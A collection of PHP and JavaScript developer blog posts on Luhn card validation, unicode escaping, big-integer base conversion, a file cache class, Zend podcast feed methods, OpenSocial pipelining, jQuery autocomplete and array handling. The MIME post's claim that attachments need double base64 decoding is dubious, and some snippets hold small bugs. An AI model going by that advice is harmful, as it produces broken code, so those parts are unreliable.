The easiest way to pre-verify a credit card value is entered correctly is to use the Luhn algorithm to check for mistakes. This is commonly referred to as a mod-10, mod10 or mod 10 check. It’s always important when handling user data to ensure it validates not only on the client, saving a trip to the server, but also server side should the client not support JavaScript. For that reason, we test on both ends.

There are more “elegant” implementations of this algorithm – see the Wikipedia entry referenced above – but they will likely be more difficult for a novice developer to understand. Further, the functions provided here are tolerant of common data entry conventions, such as using spaces and dashes to delimit blocks of numbers as is common with credit card numbers.

function mod10_check(val){
	var nondigits = new RegExp(/[^0-9]+/g);
	var number = val.replace(nondigits,'');
	var pos, digit, i, sub_total, sum = 0;
	var strlen = number.length;
	if(strlen < 13){ return false; }
	for(i=0;i<strlen;i++){
		pos = strlen - i;
		digit = parseInt(number.substring(pos - 1, pos));
		if(i % 2 == 1){
			sub_total = digit * 2;
			if(sub_total > 9){
				sub_total = 1 + (sub_total - 10);
			}
		} else {
			sub_total = digit;
		}
		sum += sub_total;
	}
	if(sum > 0 && sum % 10 == 0){
		return true;
	}
	return false;
}

You can use the JavaScript version to validate a field on any javascript event. The following snippet illustrates how you might use the onblur event to notify the user the card number appears to be invalid with jQuery.

...
<input type="text" 
	name="cc_number" 
	onblur="if(mod10_check(this.value)){$('#cc_error').hide(); } else { $('#cc_error').show(); }" 
	value="" />
<span id="cc_error" style="display:none;">The card number is invalid.</span>
...

You can then use the following test in PHP to validate the data once it gets to your server.

function mod10_check($val){
	$number = preg_replace('/[^0-9]+/', '', $val);
	$sum = 0;
	$strlen = strlen($number);
	if($strlen < 13){ return false; }
	for($i=0;$i<$strlen;$i++){
		$digit = substr($number, $strlen - $i - 1, 1);
		if($i % 2 == 1){
			$sub_total = $digit * 2;
			if($sub_total > 9){
				$sub_total = 1 + ($sub_total - 10);
			}
		} else {
			$sub_total = $digit;
		}
		$sum += $sub_total;
	}
	if($sum > 0 && $sum % 10 == 0){ 
		return true; 
	}
	return false;
}

You can see the JavaScript implementation in action here. The only difference from the above example is the addition of an onkeyup event and the inclusion of a valid card message.

Some card numbers you can use to test the code.

1234-5678-9012-3456 - Invalid
4111 1111 1111 1111 - Valid (MC/Visa Like)
3111 111111 11117 - Valid (Amex Like)
6011111111111117 - Valid (Discover Like)

This is a severe hack I used to get around some character translation issues encountered with non-latin character sets. You should at all costs use a character set that supports international characters whenever possible, probably UTF-8 if your application language supports it. That said, sometimes you need a work around, and this will at least make your pages readable for your users. This is NOT necessary if you are on a single unified platform.

I was working with mixed platforms. One application utilized PHP and UTF-8, while the other leveraged .NET and displayed in HTML with the ISO-8895-1 charset. Behind both was a shared Microsoft SQL Server database. The problem arose when UTF-8 data stored from the PHP application was displayed in the .NET app. Changing the .NET app over to UTF-8 wasn’t an option, so conversion to a character set that would work was required.

PHP has a number of tools to assist developers converting from one character set to another. iconv and the multi-byte string (mb_*) library both have utilities for handling exactly this type of conversion. The mb_* functions were not installed on the server and in this case, the iconv() function did not work as well as expected.

In practice, rather common characters like Microsoft single right “smart quotes” didn’t work with iconv(). Further, accented characters from languages like French and Spanish didn’t convert properly despite having suitable replacements in the ISO-8895-1 character set. This would leave my string littered with ? characters where suitable replacements weren’t found. So the hack I opted for was to convert all multi-byte characters to their HTML escaped equivalents. This places the burden on the browser to decide if it can display a symbol or not. It also turns out that scripting this conversion is much simpler than trying to handle the numerous potential characters and their named HTML equivalents. For any hexadecimal unicode character, \u2019 the right single quotation mark for example, can be re-written as ’ which will then show as a single right quote.

It also turns out that the built-in json_encode() function converts multi-byte characters to unicode notation when serializing, so it’s easy to hand the curly quotes like \u2018 and \u2019. A simple regular expression with preg_replace() the string for the \u#### pattern and replaces it with the correct HTML escape sequence. This was tested with western european languages and it works sufficient for my purpose.

For small strings, such as values entered as part of a typical web based tool, the additional processing time is minimal. It may be faster to strip the json encoding quotes from the beginning and end of the string using substr(). However, for the length of data, the number of times this routine executes and for clarity, this was sufficient.

function unicode_escape_sequences($str){
	$working = json_encode($str);
	$working = preg_replace('/\\\u([0-9a-z]{4})/', '&#x$1;', $working);
	return json_decode($working);
}

This is the start of a class I developed for working with URL shortening and doing math with large numbers such as Facebook User Ids.

There are some issues with the implementation of base convert, but if you are going between base 10 and higher it’s fine.

<?php
/**
* @author Erik Giberti
* @package Big Integer Math
*/
 
class bigint {
 
	public static function base_convert($value_in = false, $source_base = 10, $target_base = 36){
		// We use these values for our conversions
		$values = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','-','_');
		$characters = array_flip($values);
		$string_out = '';
 
		// Easy answers
		if($source_base	== $target_base){ return $value_in; }
 
		$len = strlen($value_in);
		$sum = array();
		if($source_base > $target_base){
			for($i=0;$i<$len;$i++){
				$char = substr($value_in, $len - $i - 1, 1);
				$sum[$i] = $characters[$char] * pow($source_base, $i);
			}
		} else {
			if($source_base != 10){
				$value = bigint::base_convert($value_in, $source_base, 10);
			} else {
				$value = $value_in;
			}
 
			$cnt = 0;
			while($value > 0){
				$times = $value / $target_base;
				$sum[] = bigint::mod($value, $target_base);
				$value = bigint::floor($times); // get rid of our remainder
			}
 
			for($i=count($sum);$i>0;$i--){
				$string_out .= $values[$sum[$i-1]];
			}
 
			return $string_out;
		}
 
		if($target_base == 10){ return array_sum($sum); }
		return implode($sum);
	}
 
	public static function mod($val, $mod){ return $val - floor($val/$mod) * $mod; }
 
	public static function floor($val){
		$bits = explode('.',$val);
		return $bits[0];
	}
}

Depending on the access pattern for the your data, file based caches are often more economical, despite being slower, than an in memory cache like Memcached or APC. Disk space is cheap and is therefore a good option for caching data that’s not frequently accessed, but is expensive to generate. That’s exactly where this class comes in. On a small EC2 instance, I was able to cache API calls, time was reduced from 0.4 seconds to 0.001 seconds per call. The reduced the overall latency of the application and freed up system resources to work on other tasks.

Because API result sets can be very large, consider a friend list from Facebook which may be 10-50K per person, caching them in memory can often push out more valuable data reducing the effectiveness of the cache. The file based cache is of course persistent and can also be distributed across multiple servers using rsync (or if you’re feeling adventurous, you alter this code to store it in an S3 bucket).

One drawback of this approach is the cache is not limited in size, leaving the files on disk until they’re deleted or replaced with new data. For that reason, I recommend you store data on a different drive where possible. File base caches, also have a potential security risk if the data is stored in a web accessible directory. This risk is not unique to this implementation. The potential exists for a clever hacker to discover your cache and gain access to sensitive data or worse compromise your server by storing executable code and executing it. You can reduce this risk by encrypting your data before storing it in the cache and by moving the data to a directory outside of the web root.

To use this cache, save this source to disk, I recommend a filename like FileCache.php and include it in your existing code files where you will be using it. Then, start caching your data! See the usage example in the comments for how to get started. Because the files are not encrypted, you can easily look in them to see what your data looks like.

<?php
 
	/**
	*
	* @package FileCache - A simple file based cache
	* @author Erik Giberti
	* @copyright 2010 Erik Giberti, all rights reserved
	* @license http://opensource.org/licenses/gpl-license.php GNU Public License
	*
	* Class to implement a file based cache. This is useful for caching large objects such as
	* API/Curl responses or HTML results that aren't well suited to storing in small memory caches 
	* or are infrequently accessed but are still expensive to generate.
	*
	* For security reasons, it's *strongly* recommended you set your cache directory to be outside
	* of your web root and on a drive independent of your operating system.
	*
	* Uses JSON to serialize the data object.
	*
	* Sample usage:
	*
	* $cache = new FileCache('/var/www/cache/');
	* $data = $cache->get('sampledata');
	* if(!$data){
	*      $data = array('a'=>1,'b'=>2,'c'=>3);
	*      $cache->set('sampledata', $data, 3600);
	* }
	* print $data['a'];
	*
	*/
 
 
// Requires the native JSON library
if (!function_exists('json_decode') || !function_exists('json_encode')) {
  throw new Exception('Cache needs the JSON PHP extensions.');
}
 
class FileCache {
 
	/**
	* Value is pre-pended to the cache, should be the full path to the directory
	*/
	protected $root = null;
 
	/**
	* For holding any error messages that may have been raised
	*/
	protected $error = null;
 
	/**
	* @param string $root The root of the file cache. 
	*/
	function __construct($root = '/tmp/'){
		$this->root = $root;
	}
 
	/**
	* Saves data to the cache. Anything that evaluates to false, null, '', boolean false, 0 will 
	* not be saved.
	* @param string $key An identifier for the data
	* @param mixed $data The data to save
	* @param int $ttl Seconds to store the data
	* @returns boolean True if the save was successful, false if it failed
	*/
	public function set($key, $data = false, $ttl = 3600){
		if(!$key) {
			$this->error = "Invalid key";
			return false; 
		}
		if(!$data){
			$this->error = "Invalid data";
			return false;
		}
		$key = $this->_make_file_key($key);
		$store = array(
			'data' => $data,
			'ttl'  => time() + $ttl,
		);
		$status = false;
		try {
			$fh = fopen($key, "w+");
			if(flock($fh, LOCK_EX)){
				ftruncate($fh, 0);
				fwrite($fh, json_encode($store));
				flock($fh, LOCK_UN);
				$status = true;
			}
			fclose($fh); 
		} catch (Exception $e) { 
			$this->error = "Exception caught: " . $e->getMessage();
			return false; 
		}
		return $status;
	}
 
	/**
	* Reads the data from the cache
	* @param string $key An identifier for the data
	* @returns mixed Data that was stored
	*/
	public function get($key){
		if(!$key) {
			$this->error = "Invalid key";
			return false; 
		}
 
		$key = $this->_make_file_key($key);
		$file_content = null;
 
		// Get the data from the file
		try {
			$fh = fopen($key, "r");
			if(flock($fh, LOCK_SH)){
				$file_content = fread($fh, filesize($key));
			}
			fclose($fh);
		} catch (Exception $e) { 
			$this->error = "Exception caught: " . $e->getMessage();
			return false; 
		}
 
		// Assuming we got something back...
		if($file_content){
			$store = json_decode($file_content, true);
			if($store['ttl'] < time()){ 
				unlink($key);	// remove the file
				$this->error = "Data expired";
				return false; 
			}
		}
		return $store['data'];
	}
 
	/**
	* Remove a key, regardless of it's expire time
	* @param string $key An identifier for the data
	*/
	public function delete($key){
		if(!$key) {
			$this->error = "Invalid key";
			return false; 
		}
 
		$key = $this->_make_file_key($key);
 
		try {
			unlink($key);	// remove the file
		} catch (Exception $e) { 
			$this->error = "Exception caught: " . $e->getMessage();
			return false; 
		}
 
		return true;
	}
 
	/**
	* Reads and clears the internal error
	* @returns string Text of the error raised by the last process
	*/
	public function get_error(){
		$message = $this->error;
		$this->error = null;
		return $message;
	}
 
	/**
	* Can be used to inspect internal error
	* @returns boolean True if we have an error, false if we don't 
	*/
	public function have_error(){
		return ($this->error !== null) ? true : false;
	}
 
	/**
	* Create a key for the cache
	* @todo Beef up the cleansing of the file.
	* @param string $key The key to create
	* @returns string The full path and filename to access
	*/	
	private function _make_file_key($key){
		$safe_key = str_replace(array('.','/',':','\''), array('_','-','-','-'), trim($key));
		return $this->root . $safe_key;
	}
}

Using the Zend Framework can be incredibly frustrating due to the lack of clear documentation. Today I ran into an issue while trying to display an additional field from a RSS feed. The RSS feed is fairly simple, it was originally built to feed iTunes and we’re simply repurposing it. Originally, the client only needed the title and mp3 file. However, a new podcast with multiple contributors made it necessary to include the author field in the display that we’re now generating as well.

The following is a snippet of the feed that’s being generated by the other service.

...
<item> 
<title>i GaGa - Podcast #1</title> 
<author>Steve Jobs</author> 
<itunes:author>Steve Jobs</itunes:author> 
<enclosure url="http://www.example.com/d/pc001.mp3" length="2500000" type="audio\/mpeg" /> 		<guid>http://www.example.com/d/pc001.mp3</guid> 
<pubDate>Fri, 28 May 2010 00:00:00 GMT</pubDate> 
<itunes:keywords>apple, iphone, twitter</itunes:keywords> 
</item> 
...

As you can see it’s incomplete and there are some unnecessary fields included, but overall, the data is there and should be easy to scrape out. The basic code to grab the title and attachment was already scripted using the Zend Feed Reader.

function parse($xml_string){
	$feed = Zend_Feed_Reader::importString($string_data);
	$data = array(
		'title' => $feed->getTitle(),
		'description' => $feed->getDescription(),
		'link' => $feed->getLink(),
		'entries' => array(),
	);
	foreach($feed as $entry){
		$item = array(
				'id' => $entry->getId(),
				'title'=>$entry->getTitle(),
				'enclosure' => $entry->getEnclosure(),
		);
		$data['entries'][] = $item;
	}
	return $data;
}

So just adding the getAuthor() method, should grab the author field, at least that’s what the official documentation says. An alternate method getAuthors() should return an associative array. However, this is clearly overkill in this scenario because we already know that data doesn’t exist. Ultimately, neither of these actually worked with my content. Both methods simply returned NULL.

It turns out it’s VERY simple to get the author value from the feed above. The ability to extend the Zend Framework easily is a real strength, but it’s not intuitive. After skimming a few blog articles about extending the reader classes, I decided to go back and re-read the documentation on extending the reader classes. I thought if I could find a working extension, I could use that as a starting point for writing my own. It turns out that there’s already a Podcast extension which is excatly what I had set out to write. Oh, and it’s also enabled by default!

Great! it’s there, I don’t even have to register it because it’s registered by default… W00t! It just isn’t working, or more accurately, I have no idea how to use it. Each of the built in extensions have their own methods for grabbing information. Finding documentation on these methods is difficult. This is one place the php.net documentation really excels and I had expected Zend would provide something similar in nature. Unfortunately I was wrong. I did figure out what methods existed (and what they did) after grep’ng the code. The change I needed was simple, use getCastAuthor() to set my $item['author'] field, my code was ready.

function parse($xml_string){
	...
	foreach($feed as $entry){
		$item = array(
				'id' => $entry->getId(),
				'title'=>$entry->getTitle(),
				'author'=>$entry->getCastAuthor(),
				'enclosure' => $entry->getEnclosure(),
		);
		$data['entries'][] = $item;
	}
	return $data;
}

I suspect using the Zend Studio product includes much of this documentation making it easier to write code leveraging the power of the Framework.

The Missing Manual

To save some of you the hassle of having to grep the code and read it yourself, I offer this guide to the methods added with the Podcast extension. This is current as of revision 22418 from the subversion standard trunk. If you are attempting to create an iTunes compliant feed, be aware that there is a separate iTunes writer extension built directly into the Framework as well. Also be sure to read the Apple RSS Specification documents that outlines exactly how they use each field.

Feed (Zend_Feed_Reader_Extension_Podcast_Feed)

These additional methods are made available to the feed, which is what’s returned from the call to Zend_Feed_Reader::importString() or whatever import method you are using.

getCastAuthor()
This will return the contents of <itunes:author> tag.

getBlock()
This will return the contents of <itunes:block> tag.

getCategories()
This will return the contents of the <itunes:category> as an array of values.

getExplicit()
This will return value the of the <itunes:explicit> tag.

getImage()
This will return the href value of the <itunes:image>, suitable for use in an <img> tag.

getKeywords()
This will return the contents of the <itunes:keywords> tag.

getNewFeedUrl()
This will return the contents of <itunes:new-feed-url> tag.

getOwner()
This will return a string that concatenates intelligently the values contained in <itunes:owner>’s <itunes:email> and <itunes:name> values.
For example, the following XML would return: tony@bp.com (Tony Hayward)

<itunes:owner>
   <itunes:name>Tony Hayward</itunes:name>
   <itunes:email>tony@bp.com</itunes:email>
</itunes:owner>

getSubtitle()
This will return the contents of <itunes:subtitle> tag.

getSummary()
This will return the contents of <itunes:summary> tag.

Entry (Zend_Feed_Reader_Extension_Podcast_Entry)

These additional methods are made available on a per entry item level.

getCastAuthor()
This will return the contents of <itunes:author> tag.

getBlock()
This will return the contents of <itunes:block> tag.

getDuration()
Unique to the item field, this will return the contents of <itunes:duration> tag.

getExplicit()
This will return value the of the <itunes:explicit> tag.

getKeywords()
This will return the contents of the <itunes:keywords> tag.

getSubtitle()
This will return the contents of <itunes:subtitle> tag.

getSummary()
This will return the contents of <itunes:summary> tag.

Beginning with OpenSocial 0.9, support for a new featured called Data Pipelining was introduced. Pipelining is really simple to implement and can bring a lot of speed and power to your applications. Pipelined requests are sent before a gadget has been loaded so they are significantly faster.

Data pipelining can be used to load all sorts of information from friends lists, remote json data and plain HTML. For this example, I’m showing how to use pipelining to load in HTML to generate a home view more quickly than using gadgets.io.makeRequest() or osapi.http() after the gadget loads. Another option for quickly loading content is to use tag which provides essentially the same functionality as the data pipelining example here, but may or may not be supported by your container. To really get into the power of these alternatives to fetching data after load, be sure to read the developer wiki notes on remote data requests.

This simple gadget that will load the contents of a file and inject them into the DOM using simple JavaScript.

<?xml version="1.0" encoding="UTF-8" ?>
<Module>
	<ModulePrefs>
		<Require feature="opensocial-0.9" />
		<Require feature="opensocial-data"/>
		<Require feature="views" />
		<Require feature="dynamic-height" />
	</ModulePrefs>
	<Content type="html" view="home">
	<![CDATA[
<script xmlns:os="http://ns.opensocial.org/2008/markup" type="text/os-data">
	<os:HttpRequest key="home" href="http://example.com/data_pipeline.php" method="post" format="text" authz="signed" />
</script>
<script type="text/javascript" src="http://example.com/display.js"></script>
<div id="target_div">
</div>
}]>
	</Content>
</Module>

The content of display.js simply loads the pre-fetched content into the target_div on the home page view.

function init(){
	var home = opensocial.data.getDataContext().getDataSet('home');
	if(home && !home.error){
		if(home.content != undefined){
			document.getElementById('target_div').innerHTML = home.content;
		} else {
			document.getElementById('target_div').innerHTML = home.result.content;
		}
	}
}
gadgets.util.registerOnLoadHandler(init);

The entire “page” that you would want to generate for this display should be passed back as the output from the file http://example.com/data_pipeline.php. The file will be called with as a signed post containing the current viewer $_POST['opensocial_viewer_id'] and owner $_POST['opensocial_owner_id'] user id values along with the other required signature fields.

You can now query your systems to generate the appropriate display. For example, if the owner and viewer are the same, you might show a summary of activity to their account since they last visited the application. If the viewer and owner are not the same, you might display a public view of the owners activity within the application (and possibly promotional material if the viewer isn’t currently a user of the app).

It’s been a year and a half since I last posted about jQuery autocomplete. It’s come a long long way since then. In fact it’s really incredible now. The jQuery UI team has provided event hooks throughout the entire process while still providing a really robust experience if you just use it out of the box. For my case, I wanted to pre-populate more than just the current field with data. Using the “select” event, I was able to provide a custom handler that used the auto-suggest data to update other fields. This is very simple to implement and yields a really nice bump in the usability.

The use case is simple. A user starts to enter a city name, “san”. We use the text fragment and make a request for city / state / zip matches from the database or other source. We then present those to the user as an autocomplete option. If they select one, we update the city, state and zip fields with the selected data.

To implement this, you’ll want to generate an ajax handler that can generate JSON data. You can use a local array as your data source, however, the real power of auto-suggest is bringing the full weight of your database to bear. In many projects the data is too large to load into a static array. Since I use PHP mostly in my daily work, that’s what the example here is in. However, this could be done in any language. The two required fields, when using an object are “label” and “value”. The label is the text that will be shown to the user and “value” is the data that will be set in the current field. I generate an array of result data on the fly and then use PHP’s built in json_encode() function to bundle it up and return it to the user. This truncated example, shows the data being returned from my handler. Notice that I’m also passing back “city”, “state” and “zip” in addition to the “label” and “value” fields.

[{"city":"San Diego","state":"CA","zip":"92101","value":"San Diego","label":"San Diego, CA 92101"}]

With the additional data in the response, I can assign these structured values to other fields in the form. This solved the main gripe I had with the autocomplete feature before, simple handling of JSON. While it was feasible under the old model, it required far more effort and development. This is all built into the core jQuery UI library. As you can see in the example below, it is insanely simple to write robust forms that can auto-populate based off the data in a single field.

This of course just scratches the surface of what you can really do with the autocomplete feature though. The jQuery UI team has done a great job of providing hooks to all the events, which really allows you to go nuts with the functionality. For example, using a function instead of an ajax file or local variable, you could serialize the entire form and send it via ajax. Then as your callback, pass the data to generate the suggestions to the user. Take a few minutes and read over the entire documentation, it’s really very powerful. You also have a wide variety of visual themes available, including the option to build your own. I’m using the default theme generated by the jQuery themeroller tool here.

Working Demo

Try entering, “sa”, “ch” or “ph” into the City field to see it in action. In this case, I look for a string match in the city name, but you could just as easily include the state, zip and so on.

The Code

You can see in the javascript below, I’m providing a handler for the “select” event that updates the other fields. I find that sometimes the event doesn’t properly update the fields essentially leaving the source field, city, with whatever text fragment I’ve entered. This seems to happen more often on mouse events but I haven’t spent much time tracking the cause down. If you happen to see what the issue is, please leave it in the comments!

<link rel="stylesheet" href="http://static.jquery.com/ui/css/base2.css" type="text/css" media="all" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.1/jquery-ui.min.js" type="text/javascript"></script>
<script type="text/javascript">
 
$(document).ready(function(){
	var ac_config = {
		source: "/ajax/demo_cities.php",
		select: function(event, ui){
			$("#city").val(ui.item.city);
			$("#state").val(ui.item.state);
			$("#zip").val(ui.item.zip);
		},
		minLength:1
	};
	$("#city").autocomplete(ac_config);
});
</script>
<form action="#" method="post">
	 <p><label for="city">City</label><br />
		 <input type="text" name="city" id="city" value="" /></p>
	 <p><label for="state">State</label><br />
		 <input type="text" name="state" id="state" value="" /></p>
	 <p><label for="zip">Zip</label><br />
	 	 <input type="text" name="zip" id="zip" value="" /></p>
</form>

An over simplified callback script that does a simple text match on the data entered into the field.

<?php
 
// Data could be pulled from a DB or other source
$cities = array(
	array('city'=>'New York', state=>'NY', zip=>'10001'),
	array('city'=>'Los Angeles', state=>'CA', zip=>'90001'),
	array('city'=>'Chicago', state=>'IL', zip=>'60601'),
	array('city'=>'Houston', state=>'TX', zip=>'77001'),
	array('city'=>'Phoenix', state=>'AZ', zip=>'85001'),
	array('city'=>'Philadelphia', state=>'PA', zip=>'19019'),
	array('city'=>'San Antonio', state=>'TX', zip=>'78201'),
	array('city'=>'Dallas', state=>'TX', zip=>'75201'),
	array('city'=>'San Diego', state=>'CA', zip=>'92101'),
	array('city'=>'San Jose', state=>'CA', zip=>'95101'),
	array('city'=>'Detroit', state=>'MI', zip=>'48201'),
	array('city'=>'San Francisco', state=>'CA', zip=>'94101'),
	array('city'=>'Jacksonville', state=>'FL', zip=>'32099'),
	array('city'=>'Indianapolis', state=>'IN', zip=>'46201'),
	array('city'=>'Austin', state=>'TX', zip=>'73301'),
	array('city'=>'Columbus', state=>'OH', zip=>'43085'),
	array('city'=>'Fort Worth', state=>'TX', zip=>'76101'),
	array('city'=>'Charlotte', state=>'NC', zip=>'28201'),
	array('city'=>'Memphis', state=>'TN', zip=>'37501'),
	array('city'=>'Baltimore', state=>'MD', zip=>'21201'),
);	
 
// Cleaning up the term
$term = trim(strip_tags($_GET['term']));
 
// Rudimentary search
$matches = array();
foreach($cities as $city){
	if(stripos($city['city'], $term) !== false){
		// Add the necessary "value" and "label" fields and append to result set
		$city['value'] = $city['city'];
		$city['label'] = "{$city['city']}, {$city['state']} {$city['zip']}";
		$matches[] = $city;
	}
}
 
// Truncate, encode and return the results
$matches = array_slice($matches, 0, 5);
print json_encode($matches);

Edit: An astute reader pointed out I am doing a bunch of work for nothing! PHP’s built in array_splice() is actually the tool I was looking for. If you only skim the documentation you’ll miss this additional way the function can be used. The remainder of the post is left here for anyone who may already be using a similar code pattern and would want to improve their methodology.

$arr = array('a','b','c','d','e');
array_splice($arr, 2, 1);
print_r($arr);
 
/* 
Array
(
    [0] => a
    [1] => b
    [2] => d
    [3] => e
)
*/

Original Post: PHP has a number of great ways to manipulate an array of values. Using the standard array_shift() and array_pop() both work to remove the next element in the stack you are processing. However, I needed a way to remove an element from an array that wasn’t necessarily at the beginning or the end. Depending on how you’ll be later processing the data in the array, using unset may not work the way you are expecting because it preserves the original index values for each element:

$arr = array('a','b','c','d','e');
unset($arr[2]); // removes the value 'c'
print_r($arr);
 
/* 
Array
(
    [0] => a
    [1] => b
    [3] => d
    [4] => e
)
*/
 
// This code will not run as expected
for($i=0;$i<count($arr);$i++){
	echo $arr[$i];
}

This led me to build the function below. If you need to keep a value for each position, you’ll want to actually cut the array apart and re-merge as a new array.

// Function to remove an element at the specified index
function array_remove_index(&$arr, $idx){
	$val = $arr[$idx];
	$arr = array_merge(array_slice($arr, 0, $idx), array_slice($arr, $idx + 1));
	return $val;
}
 
$arr = array('a','b','c','d','e');
array_remove_index($arr, 2); // removes the value 'c'
print_r($arr);
 
/*
Array
(
    [0] => a
    [1] => b
    [2] => d
    [3] => e
)
*/

To keep the function consistent with the built in array_shift() and array_pop() functions, the array is passed by reference and the function returns the element from the index that’s being removed. Notice the indexed values from the array are sequential.

While working on a project to parse emails, I found that binary attachments require double decoding to get back to binary formats. I was surprised to find a general lack of usable pre-built classes for handling or parsing email attachments, despite numerous libraries (Zend being my favorite) for creating MIME email. Zend does have one for working with linux mailbox files, but I found that the parsing of headers and some other fields wasn’t as reliable as I needed. The following example is shortened to make it more readable. Base 64 encoded files tend to be quite large.

...
--part15544-boundary-637137341-642608562
Content-Transfer-Encoding: base64
Content-Type: application/pdf; name="document.pdf" 
 
/9j/4QEsRXhpZgAASUkqAAgAAAAJAA8BAgATAAAAegAAABABAgAQAAAAjgAAABIBAwABAAAAAQAA
ABoBBQABAAAAngAAABsBBQABAAAApgAAACgBAwABAAAAAgAAADIBAgAUAAAArgAAABMCAwABAAAA
... 
69NSBJvcmXOKkVueP50c1tgV/tD4jk/WpIwQeT+GaHfcbHjIXj+eKfGRupX6itbRjjjH9acOlVFt
biskSITnNPJ+XA4zyaUtdgsmIHOfanK3PFDvcm2p/9k=
 
--part15544-boundary-637137341-642608562--

If you want to save the file out to disk, you can use the following code:

// code that parses your mime data
$mime_filename = 'document.pdf';
$mime_data = '/9j/4QEsR ... vcm2p/9k='; 
 
$binary_data = base64_decode(base64_decode($mime_data));
$fh = fopen($mime_filename, "w");
fwrite($fh, $binary_data);
fclose($fh);

You can find more information on base64_decode() and MIME.

This is a quick and dirty way to clean up the values in an array, removing duplicates while preserving (as much as possible) the original order of the values. This method works well for smaller sorted data sets, having less than a few hundred elements in the array. Of course this type of processing is heavily dependent on your equipment so your mileage may vary.

$arr = array("a","b","c","c","d","e","e","f","g","h","h","h","i");
 
// removing the duplicates
$tmp = array();
while(count($arr) > 0){
	$item = array_pop($arr);
	if(!in_array($item, $tmp))
		array_unshift($tmp, $item);
}
$arr = $tmp;
unset($tmp);
 
// array now holds unique values
// array("a","b","c","d","e","f","g","h","i");

You can extend this to work with larger arrays if the original data is sorted by replacing the in_array() function. The in_array() function looks over the entire set of values in the array from the first element to the last until it finds a match, so the execution time increases with each additional element you find.

You can also use this method to work with complex array elements, such as an array of associative arrays, although the process is slightly different. In this case you will use a helper array (called $keys below) to keep track of the primary key value you are de duping against.

$arr = array(
	array("id"=>"1", "data"=>"apple", "qty"=>10),
	array("id"=>"1", "data"=>"apple", "qty"=>10),
	array("id"=>"2", "data"=>"orange", "qty"=>8),
	array("id"=>"2", "data"=>"orange", "qty"=>8),
	array("id"=>"3", "data"=>"pear", "qty"=>12),
	array("id"=>"3", "data"=>"pear", "qty"=>12),
);
 
// Remove duplicate values using 'id' as the unique value
$keys = array();
$tmp = array();
while(count($arr) > 0){
	$item = array_pop($arr);
	if(!in_array($item['id'], $keys)){
		array_unshift($keys, $item['id']);
		array_unshift($tmp, $item);
	}
}
$arr = $tmp;
unset($tmp);
unset($keys);

In case your wondering why the process starts at the end of the array – using array_pop() – and work towards the beginning, for any row that is a duplicate of the prior value in_array() will find the match quickly because it is the first element in the array. This of course doesn’t provide any real benefit for values that are not sorted and any value that doesn’t match still requires a scan of the entire $tmp or $keys array.